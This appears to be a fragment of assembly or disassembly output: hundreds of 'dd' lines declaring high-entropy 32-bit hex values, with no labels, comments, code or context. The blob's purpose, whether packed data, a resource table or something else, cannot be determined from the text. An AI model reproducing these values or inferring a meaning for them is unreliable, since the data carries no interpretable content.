dd 0F72C053Bh, 38C008DFh, 9EEC0913h, 224042B2h, 0A24029Fh
dd 3A00203Fh, 0E9122806h, 0F9F24A2Fh, 0C181CEB6h, 0D2A662C2h
dd 3029DD7Eh, 44BD8828h, 5B46F08Dh, 308F4C91h, 429D7DEAh
dd 8B37C06Ch, 1251BDC8h, 0C16C340h, 1021F63h, 851B9EBh
dd 3CF1E67Fh, 5E46E4C3h, 256873A0h, 0D1761D9Fh, 9B1534C0h
dd 2DF2F221h, 0C089A1E9h, 3FFA7DFh, 3C54CA3h, 48C9C679h
dd 0A7D93C8Ah, 0D6C9828Dh, 0F7F7095Ah, 6B4B7CC0h, 752B7A2Fh
dd 8E81AB8Fh, 0D81E0E22h, 4413B4C7h, 16BA1277h, 164BBA12h
dd 5578AB56h, 0F8A1B436h, 815D00FAh, 2666ECF5h, 13D214Ch
dd 7B945E6Fh, 37E2DA29h, 0D9E90801h, 629F3530h, 0DAC15BBDh
dd 0E8A5F435h, 5D4BBC77h, 0C707772Fh, 0D7FB3042h, 0FE3195C1h
dd 0D4303989h, 6F5BB4BEh, 7E37F1B7h, 0DCB2CB37h, 171D67D4h
dd 819DBD22h, 5EE21B62h, 0D6E82Bh, 0A11DE49Ah, 4DE9CA89h
dd 0B94EA290h, 89E9E1C5h, 6ED58D6Eh, 822CDB88h, 74DE5441h
dd 6312095Bh, 0F5E00B16h, 832F529Ch, 2D11ED06h, 0C81E0C52h
dd 7B3ED207h, 3F38EB09h, 16C25772h, 5A9D080Ah, 0C5ECC975h
dd 2F28AECh, 0E9E82179h, 919A4B5Bh, 2732684h, 74047E68h
dd 2B236699h, 42F4E92Dh, 0E0EDDD41h, 1BDF680Ch, 22AF1E9h
dd 5EAC150h, 870955C2h, 80A0FC6Eh, 0AA61452Ah, 105D986h
dd 0C13ED15Dh, 2B5C6D1Fh, 51CB8431h, 8D4D9CDh, 415B5C59h
dd 7D09BAB5h, 0E720DDF6h, 0B73B12F1h, 9DF2D4Ch, 0E75738h
dd 6C5DEB89h, 0E4735F56h, 18181A52h, 0BD0C6FABh, 99F62FDDh
dd 0F168807Fh, 5AE40F41h, 4F41346h, 0D04EB11Ch, 728A6826h
dd 0E79318BDh, 60A89674h, 6BED3B95h, 35EC42B0h, 0BDD7CC95h
dd 149F54Ah, 79782A5Dh, 404E411Dh, 62C0E2F2h, 0CC35072h
dd 0FA6C0CAEh, 5660FF42h, 87006390h, 9C11B92Eh, 9F319138h
dd 59CA1381h, 42C82089h, 0EC6ED941h, 82ABA7AAh, 710FE8h
dd 6843DD87h, 0BB724224h, 5B5D5361h, 97712EECh, 8D4BF24Ch
dd 60456F30h, 0AF0C4BE5h, 0F843ED2Dh, 318819EFh, 0BEC105C8h
dd 6B069608h, 528F8BF8h, 2EC1BE36h, 7C8CDE88h, 2E4740F7h
dd 0D6634848h, 4232409h, 0BE82D519h, 0D5EA6AB7h, 19170A16h
dd 4510ED30h, 893B2F8Bh, 0BC67F7C4h, 0F7A18593h, 7DD2D97Bh
dd 1828100Fh, 43E1012Fh, 0E781000Eh, 0CE3E0DF7h, 0F9F0835Eh
dd 0F30B3B6Fh, 54510B4Bh, 0D7652D71h, 206C2ADh, 7644E99Fh
dd 51592F5Ah, 27EC1B63h, 0E1ABBF44h, 801CD58h, 692B21DEh
dd 1DD72E9h, 0CEBA982Eh, 7789B940h, 0FAC230F9h, 8391C68Bh
dd 58521125h, 3C5F5B97h, 744CE909h, 68EB80B5h, 26798C1Dh
dd 201DCB01h, 0FF6CB508h, 0B7EB5E20h, 0D0050A72h, 5B0F552Fh
dd 38DAA950h, 64BF4F3Ah, 68CC3307h, 0C55710DAh, 6781A5AEh
dd 351CE950h, 35B06B43h, 0A33B4F91h, 1677A6E9h, 0FA729868h
dd 0E456B3Dh, 0DD32E2ABh, 0F741E753h, 63C97B9Eh, 0FFC54861h
dd 51F9F7C6h, 0C18CBFC7h, 0A15A5ED5h, 5FF63E17h, 58A2F527h
dd 0D4A0D5B1h, 723875C7h, 0F705CCB0h, 648A15E7h, 6BD70CC0h
dd 0F4044AD0h, 0AB05C2C3h, 293222BDh, 0F5C715D0h, 250E052Eh
dd 904D69E9h, 0C46691DCh, 3638566Dh, 0F2A0887Eh, 3B99740Bh
dd 0E91A54A9h, 0ACC23FF6h, 90C4FFF0h, 0A0BF27F0h, 73C1F1DCh
dd 5E095F8Eh, 453E7FABh, 3EE93285h, 604BC9D6h, 181F90CFh
dd 0E04C344Bh, 0EEF81BAAh, 62D8B78Dh, 0B8296B5h, 65510C4h
dd 37E9A881h, 832BAFDBh, 7E51F9FCh, 0B235AB9h, 0B44F5FD7h
dd 0A45BCEA0h, 8F1009CAh, 0EEC114FAh, 0AFF61F82h, 0FD0C2249h
dd 699CD20Ch, 7B96330Eh, 2110D601h, 0DE582D08h, 77E95806h
dd 4AF3624Dh, 2B1F8FCh, 80480267h, 0A8228AF1h, 0CA813B74h
dd 26FF3B8Ah, 2CE904DBh, 0C91DBC42h, 5A3FC1CFh, 7F6C697Ah
dd 0E984E7E2h, 78F7FC34h, 38E72C4Ah, 80721D2h, 93BC7276h
dd 0F8EB0FFAh, 5B5B2E1Dh, 80A4B7F0h, 0E9E5EF09h, 86E29C9h
dd 0F4E9160Eh, 0E2DF88EEh, 8151530Bh, 1A7D1544h, 4FAFCA60h
dd 0E5438C4Eh, 1F785302h, 51C151E9h, 0F14BB114h, 1743F7Ah
dd 0F104D384h, 0E3FAB28Ch, 0D5EB81CBh, 0AD307C55h, 168667A7h
dd 81B545B4h, 5F59F7h, 9B7FBD68h, 371D0454h, 0BDAFCD0h
dd 813387E5h, 32A0E9FCh, 0FD68297Bh, 0A2B701D3h, 453082DFh
dd 0E4142D44h, 76C3564Bh, 0F9150B2Bh, 645D5B5Fh, 0BF362FFCh
dd 5EBD664Ch, 27688442h, 257ACD63h, 7FDEECC9h, 2A5532A9h
dd 314AC4F6h, 0C8F58784h, 1E20E9CEh, 0EB80187Bh, 4D606F9h
dd 0A2CF41Ch, 0D81E779Ch, 10DF7A3Ah, 53C6C29h, 66D828EBh
dd 0FD33ACC2h, 0E9F8E8D2h
dd 645C452Dh, 512D0433h, 0F2058736h, 35E9E095h, 0C29BC74Ah
dd 33408367h, 9DCB1105h, 82EBDBF6h, 0E5C1F301h, 2C43CD3h
dd 0C108DEB9h, 836BD43Eh, 1BAE1D04h, 12491030h, 9621371h
dd 0D217E95Dh, 75F2D3A0h, 1C7B503Eh, 517BF425h, 0FC589696h
dd 0AE9684CBh, 918DB6AEh, 0CD680806h, 0CBE9093Eh, 5C172A7Ch
dd 2A84BCBDh, 0A18C18FFh, 1D719F87h, 1827BD40h, 9E774C3Eh
dd 0BE0D2335h, 1F999681h, 0E558C164h, 0F6015660h, 0F27BEA8h
dd 5087C320h, 0DDE6A351h, 28F5A103h, 0DBFC8D1Ah, 788AE5C4h
dd 783EC94Eh, 3DB8B03Fh, 5632276Fh, 0FE2AA7F2h, 57F011E4h
dd 3EFFC37Eh, 347DD1A7h, 0C2ED2F22h, 0FCDCD3FDh, 29E42117h
dd 2866124Ah, 0D74A08F6h, 5AD32904h, 707958FCh, 3B59BD3Ah
dd 0F28BDFC9h, 808729D5h, 5BD02C4Ch, 0C231093Ch, 0CBD813E9h
dd 1F070448h, 69A6669Eh, 0A38CD81Fh, 0CBCD6D4Fh, 0BA84595Dh
dd 9FAD0AF7h, 37F09B13h, 3AC32668h, 1677695Dh, 4CE9157Fh
dd 8491A6C2h, 98372205h, 0A05FF6Dh, 0C1ED4C48h, 648EC9DEh
dd 0F90BCDF2h, 5FBE3FFBh, 8C96298Bh, 0E8270A01h, 1D916823h
dd 7416307Eh, 76900B2Dh, 7C9EEB04h, 6BBC6D55h, 0FA24E917h
dd 22EFDF40h, 0F627D9D3h, 0D51A5A10h, 0FD340739h, 4741C355h
dd 64A26DF1h, 3F2568C3h, 0C17A540Eh, 3522DE9h, 0DEA9B256h
dd 0CB013D5Eh, 5B584769h, 529F7433h, 8F40CE4Bh, 0ED224AF2h
dd 2D590006h, 68A37AB6h, 209F74E9h, 2EB2C268h, 0EA7751F1h
dd 8E40C204h, 2560B951h, 816601F0h, 6057DE1h, 15B83E3Bh
dd 1369A940h, 0F0F9B6BCh, 0C83F21E4h, 0FBD82F59h, 502B3925h
dd 606300A8h, 0AFBF52AAh, 0AD4F57B0h, 0FBD816h, 43EE81E8h
dd 711E6C79h, 5039C601h, 7F35E908h, 0A7824DC0h, 1288545Eh
dd 0F53FAD51h, 0B066DCFBh, 47E8784Bh, 325D1BE1h, 0E57027D4h
dd 0C396BE9Ah, 9E8CFA30h, 0FE681C57h, 17F62F4Ch, 9F3C8B78h
dd 68F0677Ch, 0A03E9349h, 5D521210h, 0C6920F5Ah, 0C322ADD7h
dd 9D196855h, 0F8BC7F52h, 1F60E65Ah, 0FF0CCCFEh, 0BF77FEFh
dd 745F53FBh, 5909C85Eh, 0F932DF09h, 0E73C247Fh, 661B02FEh
dd 0D9C0D13Bh, 1F69E9F8h, 0FBC87F8Bh, 8180D9BCh, 626E0CCFh
dd 0F6681964h, 45342530h, 5FF13ADFh, 680DB1BDh, 98EAD250h
dd 0B04E7B5Eh, 3DC631BBh, 7CEC2BC5h, 0AEAB8484h, 4A1015B2h
dd 123502DCh, 55BC5CCDh, 0BA438A05h, 0C267900h, 78D12916h
dd 0FD87FAEBh, 38E988C0h, 0FF4F2576h, 4CFAB065h, 526950A4h
dd 1E69BA09h, 29A202D2h, 88D509A5h, 0D812CD73h, 7E668BEEh
dd 0A856932h, 7648F709h, 4825E21Ah, 9DBF5016h, 0EA386A4Ch
dd 30EB4B28h, 14FA6859h, 52446594h, 2408082h, 0E5758759h
dd 14942511h, 0D1231025h, 0D8296276h, 70EBEF0Ch, 0F189E0C7h
dd 48984F63h, 6053712h, 56D6F75Eh, 5370B397h, 972519E9h
dd 9B205214h, 0C5B92446h, 0B81A00B0h, 137E794Ah, 5DBAF2B5h
dd 2D02BD03h, 714ED730h, 18BA7843h, 1F93BE00h, 27AE98A9h
dd 0AFF30802h, 20607828h, 6F59C679h, 0F8C24FAAh, 2E0F55AFh
dd 0E9C234B2h, 3EF48742h, 547F3F82h, 4DB06044h, 88CAACEFh
dd 12BD5586h, 0BFEA77EDh, 0AEF521C0h, 208A2049h, 61E2DA0Bh
dd 0A28957E4h, 0D2ACC854h, 0F14F1709h, 66B098FCh, 3580981Ah
dd 10082E2Bh, 652909B0h, 7CB50F9Eh, 0E068C2C9h, 14296AE4h
dd 24B1576h, 9976501h, 110B23DEh, 0C991B3ABh, 738E51C3h
dd 0E1C560F3h, 20EFBC5Fh, 35DD0C06h, 0D20C57E0h, 346B520Bh
dd 5C9FC089h, 0C9309719h, 4B66A81h, 0D7598662h, 0E985236Fh
dd 0B864D9A6h, 8944B1FFh, 0F17AD8DCh, 0CA39288Ah, 2DB590Bh
dd 0FDFBD3E8h, 58F972D5h, 0D36098E9h, 0B745DDEDh, 0CD0C7B76h
dd 0CD76DDCh, 323C3DC5h, 1256702Fh, 769D622Ah, 77F6C79Bh
dd 0EEB3B496h, 873BBCC7h, 0F4A96894h, 85816957h, 47A60852h
dd 17D154EAh, 57E291E1h, 555FC9C8h, 5DC29197h, 1272D16Ah
dd 30A93BD7h, 785CA092h, 0A2AA91BDh, 0A6B10D20h, 0E6BF4ADh
dd 0D7F654B7h, 0F780DF41h, 5A98C344h, 814B7CE9h, 8C44F034h
dd 54092EC2h, 8071AF8Ah, 0C1FE8AB1h, 0F66E5166h, 5359A128h
dd 0BE92C2B3h, 0D4D1AD70h, 5C7B0483h, 0A4AB687Ch, 817605C3h
dd 61029D09h, 6B8DE41h, 0B5F543E9h, 34B05EF0h, 970959B5h
dd 814357BAh, 289ED00h, 9B22E366h, 0BD50AB40h, 0BE09CD57h
dd 0FCFB8457h, 6F35DDEEh, 0E11752E6h, 5BEACBA6h, 2469F6F0h
dd 3407D12h, 62026FB3h, 27070C04h, 16AA20EBh, 0EB3DFA76h
dd 934FD432h, 54045D1Fh, 21D3644h, 0D809DD02h, 0BFC70860h
dd 217B0812h, 5717DFE8h, 862DB95Eh, 77A96216h, 0CA38EDD8h
dd 4528FB4Fh, 0FBBB7C19h, 0BF6B5C7Eh, 5F0A788Fh, 7400F529h
dd 587F6F7Ch, 52261EC0h, 775E1386h, 87021683h, 0E871EF2Ch
dd 504A7E6h, 0B4E47CA9h, 461D7AA7h, 0EBE405Ah, 0C4678A25h
dd 0C482C801h, 77680112h, 96CC6F63h, 5B175D75h, 7B731083h
dd 0A7B8E990h, 0EE82C094h, 7D281D5Fh, 0E5A85DC0h, 0C3B20283h
dd 4A12326Dh, 573402DDh, 249A5D86h, 0B70C99D3h, 6F29BAB6h
dd 2D3F1E54h, 0D02C20FAh, 2B164396h, 16DB0BC8h, 0EB2E694Eh
dd 33088650h, 813F965Eh, 7E7176B0h, 2110E329h, 90C14FF3h
dd 8FA5B272h, 6727F1F6h, 0DDA0C89h, 4CBD385h, 0E6D10743h
dd 0AFB90148h, 7030A726h, 8B82C993h, 0FB3D046Fh, 0F3F02104h
dd 73FE5AC7h, 50F8BA2Fh, 427C0F13h, 61DEEA6Eh, 8954DC7h
dd 0C958F5EAh, 6895CE63h, 49F3E50Eh, 2367810h, 0B89D7CBFh
dd 0BBCDCC4h, 0DF22F301h, 0A9ECDC58h, 4900834Ah, 0DA8D6005h
dd 94315187h, 67A67521h, 485A03CDh, 44D135F4h, 87E82AFFh
dd 0C291E8F4h, 445B87E9h, 70A1040Eh, 87056114h, 256D70BFh
dd 794F30AEh, 3D0222E0h, 8CCF9768h, 0CC5DC848h, 865F76CBh
dd 0CAEB9CD0h, 0D543D5Bh, 0F2C81892h, 0F2D55063h, 2E582314h
dd 1BE6139Dh, 0CEEC4113h, 61C5F18Eh, 14A20915h, 0EC1B1CDFh
dd 0EC7B58F1h, 0B1BC6627h, 145A14B5h, 147DA7E9h, 33F00F0Bh
dd 8EC7497Fh, 56C0DD7Ch, 0E238BABEh, 0CE816A01h, 7EC0CBCh
dd 0C04EA57Bh, 525B3E0Eh, 9F40D2F0h, 4D5F10C0h, 0AB60DBEEh
dd 49B7B80Eh, 904E7AE7h, 0B97FE177h, 73EB8EC0h, 0BF4124AEh
dd 0F40216B0h, 0B74E5639h, 0C897A422h, 0EA4E1A73h, 7C012335h
dd 68150C20h, 2EF52F9Eh, 0C340CEEFh, 5E144AB3h, 7B29EA1Ah
dd 0C073DD20h, 47DEC12Bh, 500C3B2Ch, 4D535C68h, 0BEC44A18h
dd 0FD36C35Ah, 6872B8F9h, 0BD285782h, 0A1B5B6E6h, 5B385FDEh
dd 54103537h, 12B57CA5h, 80F4C3CBh, 0B5EFAA57h, 0D329D883h
dd 0E2F5DAAAh, 93F8D32Bh, 59E1C051h, 4CB2C0E9h, 54AE5E60h
dd 8023C835h, 0E5A6E30h, 527C3E00h, 1FF736E1h, 77E94FD7h
dd 6880EF57h, 0AA8586Ah, 0A52BF3B0h, 870F3807h, 720CABCBh
dd 0E0ED01B6h, 0D1743663h, 9BE80E5h, 0E97BB44Ah, 894D4BDFh
dd 2B12E96h, 13BE2283h, 0E00957B4h, 758F3FE9h, 7202514h
dd 98D0B5DDh, 84589FE4h, 56F02DE3h, 367525A3h, 3DE913CFh
dd 665344DBh, 4A5EA347h, 41FE97D4h, 4B73C242h, 0EBDA6077h
dd 43252091h, 85EE9404h, 0E886B4CFh, 5A657749h, 42292CEFh
dd 0B80ADF60h, 7A1620AAh, 0D325B77h, 0E0D6C0E7h, 48AAE1E5h
dd 319557C8h, 0EE6AF572h, 38164308h, 0AC7BBAC9h, 5E01946h
dd 356F01D5h, 0EEF05B4h
dd 97BCED0Ah, 111277E8h, 0F29F0136h, 0EE16175Ch, 22AC2FDFh
dd 64562006h, 3FDB2110h, 290FE989h, 27ECDCF3h, 5B779A42h
dd 0CCE8A72Ch, 5D81B125h, 5BC906Bh, 0D1FB16C9h, 0DBB37AD6h
dd 819CCE40h, 8BF37D58h, 9F45D0D1h, 5D69CDE5h, 10021613h
dd 0DCE93DB5h, 3E205FB0h, 5615410Ah, 75CF810Ah, 0BC24EB6Eh
dd 0B914872Dh, 7FA18A02h, 25A0A8E0h, 2952310Bh, 1BF580CFh
dd 0FC497746h, 742309E3h, 907F6BF0h, 3C7FD3D2h, 6FCD58B1h
dd 98CA5E17h, 0A34A6879h, 1227B2F4h, 0FE461011h, 26986016h
dd 0B85A7D68h, 0A4F02E91h, 5D080C0h, 5C996FBAh, 4F6C6FFh
dd 0EB107569h, 0DC822B73h, 3EB02789h, 98A6DE2h, 64CF78Dh
dd 93D67B5h, 0AAD1BB56h, 51B0D62Fh, 13742759h, 0F58C55A0h
dd 0B2135C60h, 0B0058A40h, 689909B9h, 458F0193h, 5C5A7522h
dd 0D34A3D03h, 48180E20h, 0E9434525h, 0E885F32Ch, 0D00FE200h
dd 0EFD1B7CAh, 3281CA84h, 0E2CA52BBh, 40D8C977h, 7DF4883Ah
dd 90E6E8FEh, 15F5E65h, 0E3D15BFCh, 0CC66E443h, 705C2AC9h
dd 1BE09505h, 0DD827D9Fh, 58F08D03h, 50D50F27h, 0AA0AD3CEh
dd 6CAF4242h, 4F8157DDh, 6B5FFD29h, 57F8C8F5h, 0E97109A1h
dd 9C5FD893h, 0D25352BEh, 7EE95B04h, 1E39FBF6h, 4AA28A60h
dd 0E82799B0h, 0D9B44177h, 6E2300EBh, 0B821DF53h, 376B649Bh
dd 0A7A6B14Dh, 35F40C4h, 2F483B2Eh, 0BC9F0B79h, 53D83065h
dd 6B917995h, 74E299ECh, 0C1016AA8h, 0C9C9B0BDh, 0F2B480E1h
dd 0DF4FB5EEh, 4584A3E2h, 0A8B05D3h, 0EA161F24h, 0FBB483ACh
dd 47399C99h, 0C773EC9Ah, 767D103Ch, 51F92D02h, 85D41779h
dd 0D5722609h, 502C3DB0h, 0BC736880h, 53732DC4h, 7CE78B1Dh
dd 0D8D4D20Ah, 86E95160h, 0BD55805Dh, 0ED59BE02h, 0E1EF2927h
dd 872D3B7Dh, 9C22D909h, 7DC98BF4h, 0EB8AF3A3h, 0F4EA2927h
dd 0B95189EDh, 42A7C25Eh, 2DF65232h, 0CC594126h, 3A5D6884h
dd 3B2D33BAh, 506A18D1h, 0FEB5516Dh, 66E8882Ch, 2E686658h
dd 40835933h, 65E9BDB7h, 0EE41F165h, 59BB231h, 0A27517AFh
dd 0EC79995Eh, 33569790h, 0CBCE5572h, 18BD42F6h, 95E47318h
dd 0A061A71Ah, 0FF5B02C7h, 28ED9B8h, 0DE0AAE2Dh, 9608A003h
dd 33F669E5h, 79469F8Bh, 4A142812h, 0BA918CEFh, 72444A12h
dd 0E6CC39F1h, 0E94E1706h, 0B11DE0A1h, 0C9FEAE12h, 9E0504EFh
dd 7D011272h, 4A1415A5h, 5DE9F42Ah, 56B76770h, 8B5FC4E3h
dd 0E907611Fh, 4F2B4E2Bh, 921C405Ch, 6CDDFEA0h, 5C15E52Bh
dd 2C40C0CAh, 5D729505h, 24B95E4Ah, 0FC5CB189h, 0B52E3625h
dd 71AE7265h, 248A5888h, 20C5089Eh, 1D02B926h, 304E16h
dd 78871319h, 2EFC112h, 18BE18FBh, 123B6F7Ah, 9EF7023Eh
dd 0D5B5551Bh, 0C0902468h, 2213E6D3h, 7221B541h, 0CB2B2601h
dd 143F18D1h, 3E2FC6B7h, 0A05E5ABAh, 0F94E09D4h, 71A09A0h
dd 52A3E11h, 8130B56Fh, 0F53B9Dh, 9D65345Bh, 0D8289DC0h
dd 0C1B3A1h, 1E4ECD81h, 0D70DE47Dh, 0BA9F85D0h, 38165B6h
dd 31682B7Fh, 0D47930A8h, 2F1974Eh, 30E97F4Ch, 6860DD67h
dd 79947034h, 9B042464h, 8059018Fh, 0F8C106EFh, 530D9076h
dd 2AACC6B3h, 0E9B638BAh, 0AD6C17Bh, 3A21C9ABh, 985235A4h
dd 0F0013B0Ah, 85901F5Bh, 12B4D3Bh, 6D19F7FDh, 60C8116h
dd 0E9267C1Fh, 9874BFE5h, 4C307D08h, 0AE045B29h, 0AABEA279h
dd 2D039A8Eh, 6A290D08h, 6855D890h, 62E908A0h, 0D6E32C4Ch
dd 68D3CCBFh, 6C70CC25h, 7DE3804Bh, 2694484Eh, 0E402E019h
dd 69D7A3Dh, 9D55F5ECh, 0B0209F66h, 82409575h, 0F83E7C32h
dd 9D302242h, 0AD964DB6h, 72A4A59h, 42AB13Eh, 0B1E7FCC8h
dd 0A93CC330h, 811040D6h, 0E95EA70Eh, 0ECED1324h, 3327E048h
dd 0B32F0BFh, 0C4C14857h, 2A63C94Eh, 2ED878E0h, 1F3D2C5Bh
dd 4185939Dh, 0A36853C4h, 0A081782Dh, 0B718CBE9h, 846992A2h
dd 0CFDB800h, 0E27B4FA8h, 5C5C2F55h, 9EA0BE45h, 697151B7h
dd 6432687Ah, 5F8924A6h, 52027DCCh, 6046C7BAh, 5A9E5842h
dd 806C030Ch, 0FAC2FFEAh, 7E582649h, 1FBE8EF4h, 8B0BF866h
dd 0BE22B66Ch, 19DF1BAFh, 0A230B472h, 31DD5A9Dh, 8B8D8F1Ch
dd 71797731h, 92668851h, 9DA5923Ah, 8FCEE840h, 953EF360h
dd 0EED82613h, 8400AFCh, 1BA407C7h, 4E97C2Ch, 98EA1299h
dd 51C57DB2h, 0AAC2862Ch, 0DFBF00E0h, 39266B1Fh, 31046B4Fh
dd 80FFC870h, 0A4CE09Fh, 0CAE90F09h, 3F71795Fh, 7273F202h
dd 0E25FADA4h, 578C7DC0h, 324AFF06h, 96E1E01h, 8D2064B7h
dd 0D73F6214h, 1E57EDCBh, 637C9DE7h, 0C0062951h, 2F681D44h
dd 81463B45h, 8D3D0D0Bh, 429545Ah, 8B585908h, 58975E6Fh
dd 1839786h, 0AF7022C2h, 31CA297Eh, 0C08061Dh, 0A54A0201h
dd 0AA82E91Ah, 9A59DF4Ch, 0EDEEA05Dh, 154F2623h, 61940CCDh
dd 1313E359h, 58C06321h, 50AF5F18h, 16FAD33Bh, 12605BF8h
dd 0B0B285C4h, 64403C6Eh, 0BBD76D31h, 3DA00452h, 0CCA23E96h
dd 51039F20h, 0F1805DB1h, 0A2063809h, 0BC5FAF5Ch, 525A051Ch
dd 0E0A835E9h, 0B99AB776h, 0B8C5DF0Fh, 89350067h, 5948D51Fh
dd 450F6812h, 16BA94CCh, 0E0136E57h, 1D257381h, 4B9A8631h
dd 20EE0E14h, 51E110D4h, 81AECDE9h, 1FB9EA57h, 0B87E0FFAh
dd 3A084194h, 81DDA4F2h, 0D01FCE2h, 4C3C9C07h, 68BC0C35h
dd 3084B34Eh, 43E91229h, 41BCB7E6h, 22B572BDh, 21B89BFAh
dd 27134B98h, 0BB1EEBC0h, 0F3499058h, 0ED331888h, 54F75436h
dd 0E958B00Bh, 6F4FD09Ch, 0D20C5C8Fh, 0E02F6851h, 19271829h
dd 3BE98360h, 34303F0Fh, 9F1522B9h, 0BAA07DD8h, 96240EEFh
dd 0C60E112Dh, 1D6225Dh, 54917FF8h, 0B88C64E0h, 0D426EF04h
dd 52AA8964h, 0F4CAEA65h, 4144E1D6h, 2ABD9D04h, 290BFFE6h
dd 517158C6h, 2AD94E3Eh, 0A0BCFC3Eh, 0C4275CE9h, 194191E1h
dd 762A9BF4h, 0BA018E3Eh, 68D314E2h, 864C316Ch, 0B4BF2AE9h
dd 6F7331A0h, 52D9347h, 0A2055BE8h, 0BB11CC16h, 4C8095D4h
dd 0EC34B609h, 7E860CCAh, 781873EEh, 8AC57A07h, 0FF256FE9h
dd 0AE3B37AAh, 6DD10DABh, 0B0573893h, 0ABA696E2h, 5FB81C20h
dd 84071031h, 6D3CBA4Bh, 9D34AE9h, 42289308h, 84CB1744h
dd 8C41AB15h, 253D35B5h, 41F90C8Eh, 0BE8952A5h, 92375B90h
dd 0E9803A0Bh, 59040B5Bh, 0A13F2B07h, 0CDC061ECh, 4655FC03h
dd 68F7B89Dh, 30495B5Ch, 9235861Eh, 5B30705Ch, 0AD4A5CECh
dd 5D0C9F7Ch, 582918B3h, 3D5832CEh, 0B3474C4h, 0FB89F709h
dd 2297AF1Ch, 0D72FA981h, 0C853618h, 609944Bh, 62885CFCh
dd 770BBC0Fh, 3E28E940h, 81142F00h, 0C73FFFC9h, 55561D1Dh
dd 0EF6F05BDh, 0A216BF5Eh, 0C50236B2h, 0FB41D2D1h, 9F0C1F7h
dd 8493903Fh, 74281C36h, 82C51705h, 3CEAE158h, 0D54B912Ah
dd 42065CAAh, 2972D33Ah, 9E20B272h, 3C8BB60Ah, 414C5216h
dd 5168ADB6h, 0BD27483Bh, 82C2EE49h, 0FC1EE668h, 6164C1F2h
dd 0CE602084h, 0A21DAF01h, 0CF90E967h, 5D1C612Fh, 0B1992B25h
dd 0FA17BC44h, 13FE8AEAh, 0D7CC1B48h, 166009C2h, 217E0966h
dd 0FC8408A0h, 7B00A20h, 3CFC2CBAh, 4FCEA2ACh, 617A7BDEh
dd 0F16FD650h, 15CB3BF8h, 2F618210h, 0E789A05Dh, 0BF5A2062h
dd 0C80734Eh, 364DDAE9h, 7FDD1229h, 11D48BF2h, 8B47B500h
dd 0B1E98162h, 85120DD3h, 515B7F80h, 3D7F90F6h, 0CE008059h
dd 0B0505366h, 0E017C06Fh
dd 0C90D2C08h, 0B196DD3Ah, 36D50050h, 890AEE0Bh, 8E7E74BDh
dd 0BC73ED55h, 66FC04A4h, 0CEAB648Eh, 9253CD9h, 80384105h
dd 108475Bh, 8EA0B702h, 53927457h, 0CF79E916h, 0B8C0CD94h
dd 48CE24E4h, 0D204B717h, 0BAC7CD06h, 0D51244D4h, 403054F4h
dd 0D3583191h, 0B4563083h, 4FCE1DB6h, 5F46E867h, 97CF15C1h
dd 0CCD5317Eh, 143D1174h, 15A40004h, 0B830A412h, 667A9409h
dd 0F5807721h, 6B44750Dh, 27177EBDh, 0B0350400h, 5EB88BFCh
dd 9DE5A220h, 53B4690h, 0A0D2CCBFh, 2F43C0D2h, 0ECE01ECEh
dd 1BC93A6Fh, 8429FDC3h, 9E660310h, 81A179BDh, 0C28044B2h
dd 0E2D0F943h, 7F2329F5h, 0A68F918h, 9E6F304Dh, 35E40BC5h
dd 0C4043EC1h, 0ADF38000h, 5B5FDEE0h, 0C4FE1CEBh, 81F1880Bh
dd 45543Ah, 9DE6D146h, 68017B7Bh, 19DB65A0h, 40A42728h
dd 0EDCEF2ECh, 895EE702h, 0A9017498h, 7173F3C8h, 0C7FBC69Fh
dd 0CD810F03h, 2CD6C6ADh, 2DCD586Bh, 9348EF1Ah, 98255B7Ah
dd 0E7D052C0h, 3908B970h, 50D88652h, 0AF9B925h, 261049ACh
dd 0D98AEAD2h, 4F87E90Dh, 344E8B37h, 932B571Fh, 0B1821602h
dd 18C2D73Ah, 187BF277h, 0C5788368h, 0E7BDA3B1h, 222C3F3Ah
dd 5B5D897Bh, 0B276378h, 0F1136C79h, 0F23794CCh, 2CB6B8C7h
dd 41CB9326h, 932230FEh, 0C2426A4Ah, 0F7154268h, 904F0030h
dd 0C53082F5h, 8069BD75h, 0C906F7D2h, 9C4901Eh, 5D808A39h
dd 994E7D48h, 2C285B81h, 0C22C49D4h, 755CADB7h, 666F6742h
dd 800294B8h, 2D5C1711h, 5112C005h, 40050EDAh, 4E5E6FDCh
dd 0D6A3C609h, 3C1580CAh, 912D0674h, 8AC22500h, 0C4E9C509h
dd 0A0A3931Fh, 0DB352753h, 0BB08ED7Bh, 52B80343h, 4890C27Dh
dd 15169225h, 740478B1h, 0FA12AD5Ah, 1A957B81h, 0EC93E732h
dd 0A533314Eh, 0B59D600Eh, 4B36C9E5h, 0C9C266DEh, 89A559CCh
dd 0BC9C614h, 0C588203h, 5E6F7641h, 40440518h, 18C84A4h
dd 0A75B4DAEh, 0C0D17E57h, 3502A19Ah, 8E2E4C60h, 9649A8B0h
dd 72EA0238h, 40F7693Fh, 0ACB37A16h, 0B0AB05Eh, 689E2697h
dd 0A82D226Ch, 49F6464Bh, 7B483E7Eh, 8A84F43Bh, 82D9F75Bh
dd 0B2083B31h, 19F0AD16h, 0E0D0D84Ah, 78823A6Ah, 0ED0397F1h
dd 98AC3368h, 4412F73Bh, 53BB6D1Ah, 261C0EB0h, 0EA17FA65h
dd 12464804h, 609465F4h, 16F1CB42h, 6F7B4F5Ch, 444CB72Dh
dd 1D12A096h, 0F7B7A21Ah, 0BC2D60F0h, 91B1B0Fh, 43F8687Ch
dd 56162D66h, 5701CD04h, 7B6180F7h, 2F227FF2h, 135E42E9h
dd 0A0B27D25h, 20FCC757h, 0EE58E497h, 33BA0E37h, 85B71B09h
dd 7657B0DBh, 0D79C156Bh, 0BA5A9EA4h, 0BD4BB5F7h, 0C21F898Eh
dd 83167F09h, 2F8E8E81h, 0C8E80FD9h, 77B5C454h, 9589C22Ch
dd 3494DD09h, 3840F3FCh, 3E9C0BBDh, 3EDA4F92h, 54505B17h
dd 0B1597333h, 0D16B9BE1h, 102A65Eh, 0B53AC181h, 30F94115h
dd 65CC2A15h, 0EA401BBh, 3EE91346h, 95297E7Dh, 5CCBD83Bh
dd 5029CA40h, 5E43FFF5h, 615EEEAFh, 10F8D90Dh, 683CDE82h
dd 0D96631F2h, 5094A8F0h, 22F8FC6h, 0C0F0C480h, 2FF07ECh
dd 171955h, 0F35A3D68h, 72F3294Ah, 0B29AE85Bh, 8B0955ADh
dd 2D026755h, 9D0A195Fh, 0AC1C19A6h, 0FE531C3Fh, 0F50BB425h
dd 899732FFh, 0BFC14036h, 0A94F16D2h, 0AE620151h, 0F923BE49h
dd 12FC2C15h, 2206C628h, 0C3F5A32h, 23B768D3h, 0E060EDA7h
